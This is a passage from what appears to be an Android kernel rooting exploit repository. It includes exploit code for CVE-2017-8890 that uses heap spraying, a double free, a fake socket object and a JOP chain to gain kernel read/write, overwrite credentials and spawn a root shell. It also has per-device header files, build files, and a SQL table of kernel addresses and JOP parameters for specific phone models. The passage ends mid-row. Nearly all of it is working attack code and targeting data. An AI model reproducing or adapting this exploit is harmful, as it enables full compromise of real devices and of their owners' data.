355 | 356 | while(!client_finish) 357 | usleep(1); 358 | 359 | server_finish = 1; 360 | #endif 361 | 362 | #ifdef __HEAP_SPRAY 363 | 364 | #ifdef __HEAP_SPRAY_PAD 365 | log_dump(LOG_DEBUG,"[!] %d times to spray for the padding.\n", g_spray_pad_times); 366 | for (i = 0; i < g_spray_pad_times; i++, j = 0) { 367 | errno = 0; 368 | ret = slab_heap_spray(g_spray_sockfd[i], i); 369 | if(ret != 0) { 370 | log_dump(LOG_DEBUG, "[*] %d while spray obj cnt %d, ret = %d, errno = %d, msg = %s\n", i, j, ret, errno, strerror(errno)); 371 | break; 372 | } 373 | } 374 | #else 375 | 376 | g_spray_pad_times = 0; 377 | 378 | #endif 379 | 380 | #endif 381 | 382 | // first free... 383 | log_dump(LOG_DEBUG,"[!] first free mc_list obj.\n"); 384 | if (conntfd[0] ) 385 | close(conntfd[0]); 386 | 387 | #ifdef __HEAP_SPRAY 388 | 389 | log_dump(LOG_DEBUG,"[!] %d times to spray for the hole.\n", g_spray_times - g_spray_pad_times); 390 | 391 | for (i = g_spray_pad_times; i < g_spray_times; i++, j = 0) { 392 | errno = 0; 393 | ret = slab_heap_spray(g_spray_sockfd[i], i); 394 | if(ret != 0) { 395 | log_dump(LOG_DEBUG, "[*] %d while spray obj cnt %d, ret = %d, errno = %d, msg = %s\n", i, j, ret, errno, strerror(errno)); 396 | break; 397 | } 398 | } 399 | #endif 400 | 401 | #ifdef __CHECK_MONITOR 402 | 403 | g_monitor_th_stop = 0; 404 | 405 | #endif 406 | 407 | log_dump(LOG_DEBUG,"[!] second free mc_list obj.\n"); 408 | if ( connect_times != 1 ) 409 | close(conntfd[1]); 410 | 411 | return 0; 412 | } 413 | 414 | 415 | static int mmap_addr_init() { 416 | unsigned long ret; 417 | 418 | errno = 0; 419 | ret = (unsigned long)mmap((void *)g_jop_set_buf, g_mmap_size, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0); 420 | if (ret != g_jop_set_buf) { 421 | log_dump(LOG_ERR, "[-] mmap 0x%lx false, ret = 0x%lx, errno = %d, msg = %s\n", g_jop_set_buf, ret, errno, strerror(errno)); 422 | return -1; 423 | } 424 | memset((void *)g_jop_set_buf, 0, g_mmap_size); 425 | 426 | return 0; 427 | } 428 | 429 | static void setup_rwcap_jop(char *jop_buf) { 430 | int i; 431 | for (i = 0; i < 0x10; ++i) { 432 | if (j_jop2[i].index == 0 && j_jop2[i].addr == 0) 433 | break; 434 | if (j_jop2[i].addr == 0xaaaaaaaa) 435 | *((unsigned long *)(jop_buf + j_jop2[i].index)) = (unsigned long )(jop_buf); 436 | else 437 | *((unsigned long *)(jop_buf + j_jop2[i].index)) = j_jop2[i].addr; 438 | } 439 | } 440 | 441 | static int fake_iml_obj_init() { 442 | int i; 443 | unsigned long fake_kernel_func, rwcap_kfunc; 444 | 445 | fake_kernel_func = adp_ptmx_fops + adp_ptmx_kfunc_offset; 446 | 447 | struct ip_mc_socklist *iml = (void*)(g_jop_set_buf + g_fake_iml_offset); 448 | 449 | char *jop_buf = (void*)&iml->rcu.next; 450 | log_dump(LOG_DEBUG, "[!] jop_buf = %p\n", jop_buf); 451 | 452 | iml->next_rcu = (void*) NULL; 453 | iml->rcu.next = (void*) NULL;// 0x52525252;// g_jop_set_buf + 0x600; 454 | iml->rcu.func = (void*) 0x40404040;// NULL; 455 | 456 | log_dump(LOG_DEBUG, "[+] jop_buf = %p, iml = %p, iml->next_rcu = %p(0x%x), iml->rcu.next = %p(0x%x), iml->rcu.func = %p(0x%x)\n", 457 | jop_buf, (void*)iml, &iml->next_rcu, iml->next_rcu, &(iml->rcu.next), iml->rcu.next, &(iml->rcu.func), iml->rcu.func); 458 | 459 | return 0; 460 | 461 | } 462 | 463 | static int init_global_data() { 464 | 465 | if(set_fd_limit_max() < 0) return -1; 466 | 467 | if(mmap_addr_init() < 0) return -1; 468 | 469 | if(slab_heap_spray_init() < 0) return -1; 470 | 471 | if(fake_iml_obj_init() < 0) return -1; 472 | 473 | #ifdef __CHECK_MONITOR 474 | int i; 475 | 476 | g_monitor_th_stop = 1; 477 | 478 | int monitor_num = CPU_CUR_NUMS * 4; 479 | 480 | log_dump(LOG_DEBUG, "[!] create fake monitor thread (%d)!\n", monitor_num); 481 | 482 | int cpu_ids[monitor_num]; 483 | pthread_t th_monitor[monitor_num]; 484 | 485 | for (i = 0; i < monitor_num; ++i) { 486 | cpu_ids[i] = i; 487 | if(pthread_create(&th_monitor[i], NULL, check_fake_monitor, &cpu_ids[i])) { 488 | log_dump(LOG_ERR, "[-] check_fake_monitor failed.\n"); 489 | return -1; 490 | } 491 | } 492 | #endif 493 | 494 | log_dump(LOG_DEBUG, "all global value initialize success.\n"); 495 | 496 | return 0; 497 | } 498 | 499 | static int exploit_slab64(int argc, char *argv[]) { 500 | log_dump(LOG_NORMAL, "\t[1] padding data to fake obj.\n"); 501 | if(init_global_data() < 0) return -1; 502 | 503 | log_dump(LOG_NORMAL, "\t[3] trigger exploit.\n"); 504 | if (trigger() < 0 ) 505 | log_dump(LOG_ERR, "[-] trigger failed.\n"); 506 | 507 | log_dump(LOG_DEBUG, "[!] setup patch rwcap jop\n"); 508 | setup_rwcap_jop((char *)g_jop_set_buf); 509 | 510 | log_dump(LOG_DEBUG, "[!] dangerous! test rwcap!\n"); 511 | sleep(1); 512 | 513 | unsigned long value = 0; 514 | while (1) { 515 | g_cur_th_sp = call_ptmx_fops_check_flags((char *)g_jop_set_buf); 516 | if (pipe_read_memory((void*)adp_ptmx_fops, (void*)&value, sizeof(value)) == sizeof(value)) { 517 | log_dump(LOG_NORMAL, "[+] cat arbitrary read/write succeeded 0x%lx = 0x%lx\n", adp_ptmx_fops, value); 518 | break; 519 | } 520 | usleep(300 * 1000); 521 | } 522 | 523 | g_monitor_th_stop = 1; 524 | 525 | obtain_root_by_arbitrary_rwcap(adp_init_task, adp_task_security_offset, adp_task_cred_uid_offset, 1); 526 | 527 | return 0; 528 | 529 | } 530 | 531 | void test(int argc, char *argv[]) { 532 | // parse_args(argc, argv); 533 | rootz_before(argc, argv); 534 | rootz_after(); 535 | 536 | printf("ip_mc_socklist = 0x%x\n", (int)sizeof(struct ip_mc_socklist)); 537 | 538 | exit(0); 539 | } 540 | 541 | int main(int argc, char *argv[]) { 542 | #ifdef __TEST_ARGS 543 | test(argc, argv); 544 | #endif 545 | 546 | #ifdef __BIND_CPU 547 | set_bind_cpu_id(); 548 | bind_process_on_cpu(bind_cpu_id); 549 | #endif 550 | 551 | if(rootz_before(argc, argv)) { 552 | log_dump(LOG_ERR, "[-] rootz_before failed!\n"); 553 | return -1; 554 | } 555 | 556 | if (adp_sn != 104) { 557 | log_dump(LOG_ERR, "[-] adp sn error!\n"); 558 | return -1; 559 | } 560 | 561 | log_dump(LOG_NORMAL, "\t[*] start, pid: %d, tid: %d, uid: %d, gid: %d\n", getpid(), gettid(), getuid(), getgid()); 562 | 563 | exploit_slab64(argc, argv); 564 | 565 | log_dump(LOG_NORMAL, "\t[*] end, pid: %d, tid: %d, uid: %d, gid: %d\n", getpid(), gettid(), getuid(), getgid()); 566 | 567 | if(rootz_after()) { 568 | log_dump(LOG_ERR, "[-] rootz_after failed!\n"); 569 | } 570 | 571 | fprintf(stderr, "end...\n"); 572 | 573 | system("USER=ROOT /system/bin/sh"); 574 | 575 | printf("hang up...\n"); 576 | 577 | 578 | while(1); 579 | 580 | return 0; 581 | } 582 | -------------------------------------------------------------------------------- /exploit/CVE-2017-8890/1004/rootz.h: -------------------------------------------------------------------------------- 1 | /* 2 | * CVE-2017-8890 exploit adp args 3 | * used for arm32 no pxn 4 | * Copyright (C) 2017 by idhyt3r@gmail.com 5 | * 6 | */ 7 | 8 | #include "param.h" 9 | 10 | /* 11 | 12 | 通用内核函数地址定义在 param.h 头文件中 13 | 14 | 针对不同手机适配需要特殊定义的,在该头文件中定义 15 | 16 | */ 17 | 18 | 19 | // #define TEST_FOR_TEST 20 | 21 | #ifdef TEST_FOR_TEST 22 | 23 | 24 | 25 | #endif 26 | 27 | 28 | #if 0 29 | 30 | 适配信息 31 | 32 | nexus 5 33 | Linux version 3.4.0-g2f6be71-dirty (idhyt@idhyt-virtual-machine) (gcc version 4.9 20150123 (prerelease) (GCC) ) #4 SMP PREEMPT Sat Feb 11 22:04:51 CST 2017 34 | 35 | ./data/local/tmp/rootz "n=1004&k=[101=0xc1480008;103=0x50;104=0xc12e2240;105=0x58;109=0x4;]&p=[0xc14763a8=0x0=0x4;0xc1480058=0x0=0x4;]" 36 | 37 | Linux version 3.4.0-gcf10b7e (android-build@wpiv11.hot.corp.google.com) (gcc version 4.8 (GCC) ) #1 SMP PREEMPT Mon Sep 19 22:14:08 UTC 2016 38 | n=1004&k=[101=0xc13380c8;103=0x50;104=0xc1142f80;105=0x58;109=0x4;]&p=[0xc132e460=0x0=0x4;0xc1338118=0x0=0x4;] 39 | 40 | samsung SM-A800S 41 | Linux version 3.10.9-9468772 (dpi@SWDD5623) (gcc version 4.8 (GCC) ) #1 SMP PREEMPT Thu Oct 20 17:39:00 KST 2016 42 | n=1004&k=[101=0xc111dd78;103=0x50;104=0xc0dece80;105=0x5c;109=0x4;811=0x1;]&p=[0xc11184dc=0x0=0x4;0xc111ddc8=0x0=0x4;] 43 | #endif -------------------------------------------------------------------------------- /exploit/CVE-2017-9077/1010/rootz.h: -------------------------------------------------------------------------------- 1 | /* 2 | * CVE-2017-9907 exploit adp args 3 | * https://source.android.com/security/bulletin/2017-11-01 4 | * Copyright (C) 2017 by idhyt3r@gmail.com 5 | */ 6 | 7 | #include "param.h" 8 | 9 | /* 10 | 11 | 通用内核函数地址定义在 param.h 头文件中 12 | 13 | 针对不同手机适配需要特殊定义的,在该头文件中定义 14 | 15 | */ 16 | 17 | 18 | // #define TEST_FOR_TEST 19 | 20 | #ifdef TEST_FOR_TEST 21 | 22 | /* nexus 6p */ 23 | Linux version 3.10.73-g5b0be8f02fe (android-build@wphs1.hot.corp.google.com) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Thu Jun 8 18:03:16 UTC 2017 24 | 25 | n=1010&k=[101=0xffffffc001a044a0;103=0xa8;104=0xffffffc001779fe0;105=0x70;109=0x4;200=0xffffffc040404040;] 26 | 27 | // VTR-AL00C00B137 28 | Linux version 4.1.18-gf5b4220 (android@localhost) (gcc version 4.9 20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Wed Apr 12 03:17:23 CST 2017 29 | 30 | n=1010&k=[200=0xffffffc0000f8348;101=0xffffffc001dfbaf8;103=0xa8;104=0xffffffc001996fc0;105=0x78;109=0x4;]&j=[0x18=0xaaaaaaaa;0x50=0xffffffc0005b8210;0xb0=0xaaaaaaaa;0xb8=0xffffffc000f331a4;0x20=0xffffffc000f58fb0;0x110=0xffffffc00060e848;0x118=0xbbbbbbbb;0x4b8=0xaaaaaaaa;0x68=0xFFFFFFC00010356C;0x0=0x0;0x28=0xaaaaaaaa;0x48=0xffffffc0001e84e4;0x0=0x0;]&p=[0xffffffc001dabb54=0x0=0x4;0xffffffc001dfbba0=0x0=0x8;] 31 | 32 | 33 | #endif 34 | 35 | 36 | #if 0 37 | 38 | 适配信息 39 | 40 | #endif -------------------------------------------------------------------------------- /jni/Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH := $(call my-dir) 2 | include $(CLEAR_VARS) 3 | 4 | 5 | UTILS_DIR=$(shell pwd)/utils 6 | # $(warning "$(UTILS_DIR)") 7 | 8 | UTILS_S = $(shell find $(UTILS_DIR) -name "*.c") 9 | # $(warning "$(UTILS_S)") 10 | 11 | UTILS_H=$(UTILS_DIR)/include 12 | # $(warning "$(UTILS_H)") 13 | 14 | LOCAL_C_INCLUDES := $(UTILS_H) 15 | 16 | # build source file 17 | 18 | BUILD_NAME=rootz 19 | 20 | BUILD_SN=../exploit/$(RS) 21 | 22 | LOCAL_SRC_FILES := \ 23 | $(UTILS_S) \ 24 | $(BUILD_SN)/rootz.c \ 25 | 26 | LOCAL_MODULE := $(BUILD_NAME) 27 | 28 | 29 | LOCAL_CFLAGS += -Werror -fcommon 30 | LOCAL_LDFLAGS += -static 31 | 32 | include $(BUILD_EXECUTABLE) 33 | -------------------------------------------------------------------------------- /jni/Application.mk: -------------------------------------------------------------------------------- 1 | APP_PLATFORM := android-21 2 | APP_ABI := armeabi-v7a arm64-v8a 3 | APP_STL := c++_static # gnustl_static #stlport_static -------------------------------------------------------------------------------- /root_info.sql: -------------------------------------------------------------------------------- 1 | /* 2 | Navicat Premium Data Transfer 3 | 4 | Source Server : androotf 5 | Source Server Type : SQLite 6 | Source Server Version : 3030001 7 | Source Schema : main 8 | 9 | Target Server Type : SQLite 10 | Target Server Version : 3030001 11 | File Encoding : 65001 12 | 13 | Date: 09/07/2017 18:13:12 14 | */ 15 | 16 | PRAGMA foreign_keys = false; 17 | 18 | -- ---------------------------- 19 | -- Table structure for root_info 20 | -- ---------------------------- 21 | DROP TABLE IF EXISTS "root_info"; 22 | CREATE TABLE "root_info" ( 23 | id INTEGER NOT NULL, 24 | root_id INTEGER NOT NULL, 25 | product_model VARCHAR(32) NOT NULL, 26 | proc_version VARCHAR(512) NOT NULL, 27 | root_parameters VARCHAR(255) NOT NULL, 28 | date TIMESTAMP, priority INTEGER, build_version VARCHAR(32), 29 | PRIMARY KEY (id) 30 | ); 31 | 32 | -- ---------------------------- 33 | -- Records of root_info 34 | -- ---------------------------- 35 | BEGIN; 36 | INSERT INTO "root_info" VALUES (1, 1021, 'JAZZ', 'Linux version 3.10.86-g76ac748 (android@localhost) (gcc version 4.7.3 20121205 (prerelease) (crosstool-NG linaro-1.13.1-4.7-2012.12-20121214 - Linaro GCC 2012.12) ) #2 SMP PREEMPT Mon Apr 4 05:03:33 CST 2016', 'n=1021&k=[101=0xc15b0454;102=0x20;104=0xC139AAE0;105=0x68;106=0xC09BF2D0;109=0x10;801=0xc13b554c;802=0xc15a955c;]&j=[0x9c=0xaaaaaaaa;0xc=0xC0DDB6B0;0x18=0xaaaaaaaa;0x24=0xC0702CE0;0x0=0x0;]&p=[0xc15a7990=0x0=0x4;0xc15b0474=0xc091eb2c=0x4;]', NULL, 10, NULL); 37 | INSERT INTO "root_info" VALUES (2, 1021, 'Nexus 5', 'Linux version 3.4.0-gbebb36b (android-build@vpbs1.mtv.corp.google.com) (gcc version 4.7 (GCC) ) #1 SMP PREEMPT Tue Mar 10 18:17:45 UTC 2015', 'n=1021&k=[101=0xc1237658;102=0x20;104=0xc1042f38;105=0x58;106=0xc05cfc70;109=0x4;]&j=[0xf8=0xaaaaaaaa;0xc=0xC085ED40;0x18=0xaaaaaaaa;0x24=0xc027ac48;0x0=0x0;]&p=[0xc122dae4=0x0=0x4;0xc1237678=0xC047247C=0x4;]', NULL, 10, '5.1.1'); 38 | INSERT INTO "root_info" VALUES (3, 1021, 'C6903', 'Linux version 3.4.0-perf-g2deedd1 (BuildUser@BuildHost) (gcc version 4.8 (GCC) ) #1 SMP PREEMPT Thu Aug 20 14:52:56 2015', 'n=1021&k=[101=0xc10ecb90;102=0x20;104=0xc0f1f700;105=0x58;106=0xC0500D7C;109=0x4;]&j=[0xf8=0xaaaaaaaa;0xc=0xC0787914;0x18=0xaaaaaaaa;0x24=0xC026E5A0;0x0=0x0;]&p=[0xc10dfc98=0x0=0x4;0xc10ecbb0=0xc04185b4=0x4;]', NULL, 10, '5.1.1'); 39 | INSERT INTO "root_info" VALUES (4, 1001, 'Nexus 6P', 'Linux version 3.10.73-g5b0be8f02fe (android-build@wphs1.hot.corp.google.com) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Thu Jun 8 18:03:16 UTC 2017', 'n=1001&k=[101=0xffffffc001a044a0;102=0x48;104=0xffffffc001779fe0;105=0x70;201=0xffffffc00074c954;]&j=[0x180=0xaaaaaaaa;0x158=0xbbbbbbbb;0x2d0=0xffffffc00024c2c4;0x0=0x0;0x00=0xffffffc000afe07c;0x28=0xbbbbbbbb;0x48=0xffffffc0002ef958;0x90=0xdddddddd;0x10=0xffffffc000ce6000;0x8=0xffffffc000318610;0x0=0x0;]&p=[0xffffffc00193a1bc=0x0=0x4;0xffffffc001a044e8=0xffffffc00055bab8=0x8;]', NULL, 10, '7.1.2'); 40 | INSERT INTO "root_info" VALUES (5, 999, 'testcase', 'testcase', 'testcase', NULL, 10, '0.0.0'); 41 | INSERT INTO "root_info" VALUES (6, 1002, 'generic_a15', 'Linux version 4.1.18-gfd75bbb (android@localhost) (gcc version 4.9 20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Thu Mar 2 17:29:20 CST 2017', 'n=1002&k=[101=0xffffffc001de7ad0;102=0x40;104=0xffffffc00198efc0;105=0x78;201=0xffffffc0000f7f2c;]&j=[0x60000003e=0x600000326;0x600000376=0xffffffc000f54e14;0x600000136=0xffffffc0005b5844;0x60000013e=0xffffffc001de7b08;0x6000000d6=0x600000326;0x6000000de=0xffffffc000f490f0;0x600000346=0xffffffc00060d0d0;0x6000004de=0x600000226;0x60000028e=0xffffffc00010314c;0x0=0x0;0xc100020=0x0c100100;0x0c100100=0xffffffc000f2eff4;0xc100108=0x0c100200;0xc100228=0x0c100300;0xc100348=0xffffffc0007d5788;0xc1002b0=0xffffffc001980000;0xc100378=0x0c100400;0xc100428=0xffffffc0001e91a4;0x0=0x0;]&p=[0xffffffc001d99b14=0x0=0x4;]', NULL, 10, 7.0); 42 | INSERT INTO "root_info" VALUES (7, 1002, 'generic_a15', 'Linux version 4.1.18-gf5b4220 (android@localhost) (gcc version 4.9 20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Wed Apr 12 03:17:23 CST 2017', 'n=1003&k=[101=0xffffffc001dfbaf8;102=0x40;104=0xffffffc001996fc0;105=0x78;109=0x8;201=0xffffffc0000f8348;]&j=[0x60000003e=0x600000326;0x600000376=0xffffffc000f58fb0;0x600000136=0xffffffc0005b8210;0x60000013e=0xffffffc001dfbb30;0x6000000d6=0x600000326;0x6000000de=0xffffffc000f4d28c;0x600000346=0xffffffc00060e848;0x6000004de=0x600000226;0x60000028e=0xffffffc00010356c;0x0=0x0;0xc100020=0x0c100100;0x0c100100=0xffffffc000f331a4;0xc100108=0x0c100200;0xc100228=0x0c100300;0xc100348=0xffffffc0007d7fb0;0xc1002b0=0xffffffc001988000;0xc100378=0x0c100400;0xc100428=0xffffffc0001e97ac;0x0=0x0;]&p=[0xffffffc001dabb54=0x0=0x4;0xffffffc001dfbb38=0xffffffc00054b744=0x8;]', NULL, 10, 7.0); 43 | INSERT INTO "root_info" VALUES (8, 1021, 'SM-A700L', 'Linux version 3.10.49-6845695 (dpi@SWDD6719) (gcc version 4.8 (GCC) ) #1 SMP PREEMPT Thu Feb 18 16:30:46 KST 2016', 'n=1021&k=[101=0xc1378310;102=0x20;104=0xc1125f40;105=0x5c;106=0xc0542330;109=0x4;&j=[0x10c=0xaaaaaaaa;0xc=0xc08bd9bc;0x18=0xaaaaaaaa;0x24=0xC0202D70;0x0=0x0;]&p=[0xc12c38e0=0x0=0x4;0xc1378330=0xc04338f0=0x4;]', NULL, 10, '5.0.2'); 44 | INSERT INTO "root_info" VALUES (9, 1003, 'generic_a15', 'Linux version 4.1.18-gf5b4220 (android@localhost) (gcc version 4.9 20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Wed Apr 12 03:17:23 CST 2017', 'n=1003&k=[200=0xffffffc0000f8348;101=0xffffffc001dfbaf8;103=0xa8;104=0xffffffc001996fc0;105=0x78;109=0x4;]&j=[0x18=0xaaaaaaaa;0x50=0xffffffc0005b8210;0xb0=0xaaaaaaaa;0xb8=0xffffffc000f331a4;0x20=0xffffffc000f58fb0;0x110=0xffffffc00060e848;0x118=0xbbbbbbbb;0x4b8=0xaaaaaaaa;0x68=0xFFFFFFC00010356C;0x0=0x0;0x28=0xaaaaaaaa;0x48=0xffffffc0001e84e4;0x0=0x0;]&p=[0xffffffc001dabb54=0x0=0x4;0xffffffc001dfbba0=0x0=0x8;]', NULL, 9, 7.0); 45 | INSERT INTO "root_info" VALUES (10, 1003, 'hi6250', 'Linux version 3.10.90-g1e8f015 (android@localhost) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #1 SMP PREEMPT Fri Jan 20 03:30:14 CST 2017', 'n=1003&k=[200=0xffffffc00020a6dc;101=0xffffffc001674b10;103=0xa0;104=0xffffffc00135c860;105=0x70;109=0x4;801=0xffffffc00166aa10;802=0xffffffc00166aa28;]&j=[0x20=0xcccccccc;0x100=0xffffffc000205528;0x108=0xdddddddd;0x118=0xdddddddd;0x110=0xeeeeeeee;0x218=0xdddddddd;0x290=0xdddddddd;0x210=0xffffffc000348510;0x238=0xffffffff;0x310=0xffffffc000121308;0x328=0xffffffc000ab07c4;0x0=0x0;0x28=0xaaaaaaaa;0x48=0xffffffc0001aacd8;0x0=0x0;]&p=[0xffffffc0016672c4=0x0=0x4;0xffffffc001674bb0=0x0=0x8;]', NULL, 10, 6.0); 46 | INSERT INTO "root_info" VALUES (11, 1022, 'Nexus 5', 'Linux version 3.4.0-gbebb36b (android-build@vpbs1.mtv.corp.google.com) (gcc version 4.7 (GCC) ) #1 SMP PREEMPT Tue Mar 10 18:17:45 UTC 2015', 'n=1022&k=[101=0xc1237658;103=0x50;104=0xc1042f38;105=0x58;107=0xc085ed40;109=0x4;]&j=[0x18=0xaaaaaaaa;0x24=0xc0279bd0;0x0=0x0;]&p=[0xc122dae4=0x0=0x4;0xc12376a8=0x0=0x4;]', NULL, 9, '6.0.1'); 47 | INSERT INTO "root_info" VALUES (12, 1022, 'JAZZ', 'Linux version 3.10.86-g76ac748 (android@localhost) (gcc version 4.7.3 20121205 (prerelease) (crosstool-NG linaro-1.13.1-4.7-2012.12-20121214 - Linaro GCC 2012.12) ) #2 SMP PREEMPT Mon Apr 4 05:03:33 CST 2016', 'n=1022&k=[101=0xc15b0454;103=0x50;104=0xc139aae0;105=0x68;107=0xc0ddb6b0;109=0x10;801=0xc13b554c;802=0xc15a955c;]&j=[0x18=0xaaaaaaaa;0x24=0xc0701c78;0x0=0x0;]&p=[0xc15a7990=0x0=0x4;0xc15b04a4=0x0=0x4;]', NULL, 9, 6.0); 48 | INSERT INTO "root_info" VALUES (13, 1022, 'Nexus 5', 'Linux version 3.4.0-g2aa165e (android-build@wped19.hot.corp.google.com) (gcc version 4.8 (GCC) ) #1 SMP PREEMPT Thu Aug 20 06:07:34 UTC 2015', 'n=1022&k=[101=0xc1338250;103=0x50;104=0xc1142f80;105=0x58;107=0xc088b1c4;109=0x4;]&j=[0x18=0xaaaaaaaa;0x24=0xc0281d04;0x0=0x0;]&p=[0xc132e6a8=0x0=0x4;0xc13382a0=0x0=0x4;]', NULL, 10, '5.1.1'); 49 | INSERT INTO "root_info" VALUES (14, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '4.4.4'); 50 | INSERT INTO "root_info" VALUES (15, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '4.4.3'); 51 | INSERT INTO "root_info" VALUES (16, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '4.4.2'); 52 | INSERT INTO "root_info" VALUES (17, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '4.4.1'); 53 | INSERT INTO "root_info" VALUES (18, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, 4.4); 54 | INSERT INTO "root_info" VALUES (19, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '4.3.1'); 55 | INSERT INTO "root_info" VALUES (20, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, 4.3); 56 | INSERT INTO "root_info" VALUES (21, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '4.2.2'); 57 | INSERT INTO "root_info" VALUES (22, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, 4.2); 58 | INSERT INTO "root_info" VALUES (23, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '4.1.2'); 59 | INSERT INTO "root_info" VALUES (24, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '4.1.1'); 60 | INSERT INTO "root_info" VALUES (25, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, 4.1); 61 | INSERT INTO "root_info" VALUES (26, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '4.0.4'); 62 | INSERT INTO "root_info" VALUES (27, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '4.0.3'); 63 | INSERT INTO "root_info" VALUES (28, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '4.0.2'); 64 | INSERT INTO "root_info" VALUES (29, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '4.0.1'); 65 | INSERT INTO "root_info" VALUES (30, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, 4.0); 66 | INSERT INTO "root_info" VALUES (31, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '3.2.6'); 67 | INSERT INTO "root_info" VALUES (32, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '3.2.5'); 68 | INSERT INTO "root_info" VALUES (33, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '3.2.4'); 69 | INSERT INTO "root_info" VALUES (34, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '3.2.3'); 70 | INSERT INTO "root_info" VALUES (35, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '3.2.2'); 71 | INSERT INTO "root_info" VALUES (36, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '3.2.1'); 72 | INSERT INTO "root_info" VALUES (37, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, 3.2); 73 | INSERT INTO "root_info" VALUES (38, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, 3.1); 74 | INSERT INTO "root_info" VALUES (39, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '2.3.6'); 75 | INSERT INTO "root_info" VALUES (40, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '2.3.5'); 76 | INSERT INTO "root_info" VALUES (41, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '2.3.4'); 77 | INSERT INTO "root_info" VALUES (42, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '2.3.3'); 78 | INSERT INTO "root_info" VALUES (43, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '2.3.2'); 79 | INSERT INTO "root_info" VALUES (44, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '2.3.1'); 80 | INSERT INTO "root_info" VALUES (45, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, 2.3); 81 | INSERT INTO "root_info" VALUES (46, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '2.2.3'); 82 | INSERT INTO "root_info" VALUES (47, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '2.2.2'); 83 | INSERT INTO "root_info" VALUES (48, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '2.2.1'); 84 | INSERT INTO "root_info" VALUES (49, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, 2.2); 85 | INSERT INTO "root_info" VALUES (50, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, 2.1); 86 | INSERT INTO "root_info" VALUES (51, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, '2.0.1'); 87 | INSERT INTO "root_info" VALUES (52, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, 2.0); 88 | INSERT INTO "root_info" VALUES (53, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, 1.6); 89 | INSERT INTO "root_info" VALUES (54, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, 1.5); 90 | INSERT INTO "root_info" VALUES (55, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, 1.1); 91 | INSERT INTO "root_info" VALUES (56, 1051, 'NULL', 'NULL', 'n=1051&k=[]&j=[]&p=[]', NULL, 10, 1.0); 92 | INSERT INTO "root_info" VALUES (57, 1004, 'SM-A800S', 'Linux version 3.10.9-9468772 (dpi@SWDD5623) (gcc version 4.8 (GCC) ) #1 SMP PREEMPT Thu Oct 20 17:39:00 KST 2016', 'n=1004&k=[101=0xc111dd78;103=0x50;104=0xc0dece80;105=0x5c;109=0x4;811=0x1;]&p=[0xc11184dc=0x0=0x4;0xc111ddc8=0x0=0x4;]', NULL, 10, '6.0.1'); 93 | INSERT INTO "root_info" VALUES (58, 1004, 